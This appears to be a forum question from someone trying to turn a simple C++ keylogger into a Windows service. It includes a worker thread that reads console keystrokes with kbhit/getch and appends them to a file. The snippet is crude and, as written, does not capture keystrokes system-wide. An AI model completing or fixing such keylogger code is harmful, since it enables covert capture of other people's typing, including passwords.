recently I have attempted to try my hand at programming services starting with a simple key logger. The original code is very crude however it works granted the current window is focused. The problem started when I attempted to alleviate this issue by adding the logger to a service. I want to log keys without using hooks however. Here is the worker thread:
DWORD WINAPI ServiceWorkerThread(LPVOID lpParam){
std::ofstream File("Info.txt");
char C = 0;
// Periodically check if the service has been requested to stop
while (WaitForSingleObject(g_ServiceStopEvent, 0) != WAIT_OBJECT_0){
if(kbhit()){
C = getch();
File.open("Info.txt", std::fstream::out | std::fstream::app);
File << C;
File.close();
Sleep(100);
//The thread needs to sleep so that it won't eat CPU
//Additionally people cannot type as fast as a computer can process data
}
}
return ERROR_SUCCESS;
}
All the other code just starts and handles the service.